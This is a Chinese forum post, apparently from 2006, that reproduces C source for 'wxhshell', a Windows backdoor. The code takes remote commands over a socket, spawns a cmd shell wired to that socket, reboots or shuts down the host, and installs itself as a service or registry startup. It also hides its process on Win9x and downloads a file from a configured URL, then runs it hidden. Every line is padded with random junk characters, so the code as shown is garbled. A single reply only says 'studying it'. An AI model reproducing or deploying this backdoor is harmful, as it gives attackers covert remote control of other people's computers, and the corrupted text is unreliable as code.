  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wj&s5;2a  
  if(DownloadFile(cmd,wsh)) &n|gPp77$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *O~D lf  
  else G`jhzG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{2KMa{K  
  } CfU )+20  
  else { `F#KXk  
H@zpw1fH+  
    switch(cmd[0]) { U!4 ^;  
  /_P`xm+=AC  
  // 帮助 Tb^9J7]  
  case '?': { \]K-<&f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zh@\+1]  
    break; f+ &yc'[  
  } |@RO&F  
  // 安装 2k_Bo~.  
  case 'i': { sdLFBiR  
    if(Install()) {<@~;iq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.r($S g^  
    else hjE9[{K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9pXFC9  
    break; dU,/!|.K  
    } \ iFE,z  
  // 卸载 (ZYOm  
  case 'r': { @cON"(  
    if(Uninstall()) \xt!b^d0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'py k  
    else #!2gxm;g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m<E7cY3mX  
    break; kHO\#fF<  
    } <FP -]R)  
  // 显示 wxhshell 所在路径 Xp' KQ1w)  
  case 'p': { {RK#W~h  
    char svExeFile[MAX_PATH]; rTH@PDk>)  
    strcpy(svExeFile,"\n\r"); _R]h]<TQ  
      strcat(svExeFile,ExeFile); bWqGy pq4  
        send(wsh,svExeFile,strlen(svExeFile),0); QO8/?^d  
    break;  [7bY(  
    } W6pS.}  
  // 重启 jV(IS D  
  case 'b': { B~^\jRd "  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^JTfRZ :a  
    if(Boot(REBOOT)) ?@~FT1"6G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f*Kipgp  
    else { {1o=/&  
    closesocket(wsh); }V 1sY^C  
    ExitThread(0); 0t) IW D  
    } fqcyCu7Ep  
    break; hm& ~6rB  
    } ZrTq)BZ  
  // 关机 thh, V   
  case 'd': { ?F-,4Ox{/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z1Ms ~tch  
    if(Boot(SHUTDOWN)) m'pihFR:f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &rn,[w_F[  
    else { 9DIGK\  
    closesocket(wsh); L8V'mUyD  
    ExitThread(0); !o`al` q'  
    } vOqT Ld  
    break; l6i 2!&8P%  
    } .N%$I6w  
  // 获取shell b c+' n  
  case 's': { hJ|z8Sy@1  
    CmdShell(wsh); TqWvHZX  
    closesocket(wsh); ag3T[}L z  
    ExitThread(0); B$\5=[U  
    break; 9U+^8,5  
  } U*-%V$3+w5  
  // 退出 s#4 "f  
  case 'x': { V@$B>HeK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7B'0(70  
    CloseIt(wsh); Cnn,$R=/s  
    break; IRpCbTIXK  
    } 9<R:)Df  
  // 离开 o:?IT/>  
  case 'q': { 5vS'Qhc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lY6U$*9c  
    closesocket(wsh); j*CnnM#n  
    WSACleanup(); #oHHKl=M  
    exit(1); UOa{J|k>h  
    break; Q} / :  
        } v'|Dj^3[  
  } }+SnY8A=KZ  
  } sUg7  
2hquE_1S[w  
  // 提示信息 _3)~{dQ+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g >X!Q  
} F.JE$)B2EX  
  } nF7Ozxm#  
9;:Lf  
  return; xEbcF+@  
} ^fRA$t  
AR&u9Y)I  
// shell模块句柄 ^.k}YSWut  
int CmdShell(SOCKET sock) Jr#ptf"Wu  
{ zg)]:  
STARTUPINFO si; $PNR?  
ZeroMemory(&si,sizeof(si)); Wt_@ vs@.O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d=q2Or   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Z7{|B5}Y  
PROCESS_INFORMATION ProcessInfo; :g][99  
char cmdline[]="cmd"; 0Tq6\:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3Y>!e#  
  return 0; lx%<oC+M  
} O%rjY  
htIV`_<Ro  
// 自身启动模式 RFqbwPX  
int StartFromService(void) U#YM)8;Iz  
{ ni9/7  
typedef struct [7$.)}Q-  
{ '#^ONnSTn  
  DWORD ExitStatus; ~]}7|VN.}  
  DWORD PebBaseAddress; PE3l2kr  
  DWORD AffinityMask; mhh8<BI  
  DWORD BasePriority; 92XzbbLp  
  ULONG UniqueProcessId; uQrD}%GI  
  ULONG InheritedFromUniqueProcessId; M,NYF`;a  
}   PROCESS_BASIC_INFORMATION; ZE4~rq/W  
mlX^5h'  
PROCNTQSIP NtQueryInformationProcess; Fz-Bd*uS  
o ;.j_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $n!saPpxS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `j@2[XdHu  
"(/.3`g  
  HANDLE             hProcess; )| 3?7?X  
  PROCESS_BASIC_INFORMATION pbi; mL ]zkD_  
Fj|C+;Q.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h%pgdix  
  if(NULL == hInst ) return 0; $:SHZe  
k/cQJz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?PLf+S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CsXIq.9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LC/6'4}_  
ShFSBD\M#  
  if (!NtQueryInformationProcess) return 0; GJU84Xn7  
lkOugjI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :4/RB%)"  
  if(!hProcess) return 0; [.dF)I3  
mm'Pe4*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EC|t4u3  
o[0Cv*  
  CloseHandle(hProcess); E\5t&jZr  
!Mceg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fC52nK&T8  
if(hProcess==NULL) return 0; WM~@/J  
/{^Qup  
HMODULE hMod; WL+I)n8~  
char procName[255]; pvD\E  
unsigned long cbNeeded; SVo:%mX  
z\{y[3-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *#w+*ywVZH  
.sgP3Ah  
  CloseHandle(hProcess); 5_9mA4gs@  
q0&g.=;  
if(strstr(procName,"services")) return 1; // 以服务启动 +g>)Bur  
w/#k.YE  
  return 0; // 注册表启动 L W 8LD|@  
} f9?\Q'v8  
jIaAx_  
// 主模块 Z~CL|=  
int StartWxhshell(LPSTR lpCmdLine) s,)Z8H  
{ 9s7sn*aB#5  
  SOCKET wsl; M<4~ewWJ  
BOOL val=TRUE; R#DnV[!\  
  int port=0; U@ Y0 z.Y  
  struct sockaddr_in door; ' cR||VX  
+:+q,0~*]  
  if(wscfg.ws_autoins) Install(); ^9UKsy/q  
HM /2/ /  
port=atoi(lpCmdLine); DKp+ nq$  
>hQeu1 ~W  
if(port<=0) port=wscfg.ws_port; S=@.<gS  
yyW;VKN  
  WSADATA data; 9(V12gn+lk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }4b 4<Sm_h  
a6cq0g[#z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aSkH<5i`v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); | U )  
  door.sin_family = AF_INET; 3A!`U6C(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YzNSZJPD  
  door.sin_port = htons(port); Btp 9v<"  
JvX]^t/}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .zZee,kM  
closesocket(wsl); 9`4M o+  
return 1; U@T"teGBA  
} i=jwk_y  
| vL0}e  
  if(listen(wsl,2) == INVALID_SOCKET) { jgNdcP  
closesocket(wsl); ?S9? ?y/  
return 1; fP# !ywgr%  
} +"Flu.+['  
  Wxhshell(wsl); wVX]"o  
  WSACleanup(); WdI9))J2S  
yyB;'4Af  
return 0; \"Jgs.  
"H\1Z,P<m  
} %/iD@2r  
ova4  
// 以NT服务方式启动 @)k/t>r(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |mvY=t %  
{ KcKdhqdN-  
DWORD   status = 0; EIQ`?8KSR  
  DWORD   specificError = 0xfffffff; UEHJ? }  
&y_Ya%Z3*e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = Lt)15  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RC?gozBFJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >%LZ|*U  
  serviceStatus.dwWin32ExitCode     = 0; AQ+MjS,  
  serviceStatus.dwServiceSpecificExitCode = 0; ynY(  
  serviceStatus.dwCheckPoint       = 0; Vi1l^ Za  
  serviceStatus.dwWaitHint       = 0; F#Y9 @E  
$r+ _Y/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4:wVT;?a  
  if (hServiceStatusHandle==0) return; 5,dKha  
^m pWQ`R  
status = GetLastError(); &GYnGrw?@  
  if (status!=NO_ERROR) %x{jmZ$}  
{ b$FK}D5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F/p/&9  
    serviceStatus.dwCheckPoint       = 0; -@bOFClE  
    serviceStatus.dwWaitHint       = 0; [QUaC3l)  
    serviceStatus.dwWin32ExitCode     = status; X6 E^5m  
    serviceStatus.dwServiceSpecificExitCode = specificError; o0ky]9 P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5?l8;xe`{f  
    return; x Zp`  
  } 1?I_fA}  
4, EX2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cPunMHD  
  serviceStatus.dwCheckPoint       = 0; qh9d .Q+n  
  serviceStatus.dwWaitHint       = 0; O1+OE!w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "{9^SPsp  
} +%Z#!1u  
uvG' Kx  
// 处理NT服务事件,比如:启动、停止 c o 8bnH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0nr5(4h  
{ nMM:Tr  
switch(fdwControl) ~cr##Ff 5  
{ iy!SqC  
case SERVICE_CONTROL_STOP: @=<B8VPJd  
  serviceStatus.dwWin32ExitCode = 0; >G9YYt~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *RYok{w  
  serviceStatus.dwCheckPoint   = 0; ^O6eFD U  
  serviceStatus.dwWaitHint     = 0; Hnft1   
  { VEsIhjQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b I"+b\K  
  } ^iA_<@[`X[  
  return; NJ^Bv`  
case SERVICE_CONTROL_PAUSE: _w}l,   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WU$l@:Yo  
  break; v_|k:l  
case SERVICE_CONTROL_CONTINUE: H~$*R7~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s,CN<`/>x  
  break; x`:c0y9uG  
case SERVICE_CONTROL_INTERROGATE: PQj'D <G  
  break; 3QI.|;X  
}; 6L<Y   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jWL%*dJrN  
} ]Z IreI  
+7 \"^D  
// 标准应用程序主函数 I3qTSX-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x$hT+z6DUC  
{ mV'-1  
rSa=NpFxLu  
// 获取操作系统版本 FW"n+7T  
OsIsNt=GetOsVer(); A Xpg_JC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .QU]  
x?7z15\  
  // 从命令行安装 4^Ke? ;v  
  if(strpbrk(lpCmdLine,"iI")) Install(); {h*)|J  
Y 'y yrn}  
  // 下载执行文件 8|L;y[v  
if(wscfg.ws_downexe) { 7!F -.kG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KwHlpW*  
  WinExec(wscfg.ws_filenam,SW_HIDE); [a_'pAH  
} 5[y+X|Am  
(nu;o!mo9  
if(!OsIsNt) { 4iDqd  
// 如果时win9x,隐藏进程并且设置为注册表启动 XEBeoOX/  
HideProc(); :i3 W U%  
StartWxhshell(lpCmdLine); _]v@Dq VP  
} @+{F\SD\  
else oTJ^WePZQ  
  if(StartFromService()) "c.@4#/_  
  // 以服务方式启动 4#,,_\r  
  StartServiceCtrlDispatcher(DispatchTable); &g"`J`  
else kBU`Q{.  
  // 普通方式启动 S2jn  pf}  
  StartWxhshell(lpCmdLine); ) 7C+hQe  
W m&*  
return 0; 0`/CoP<U  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五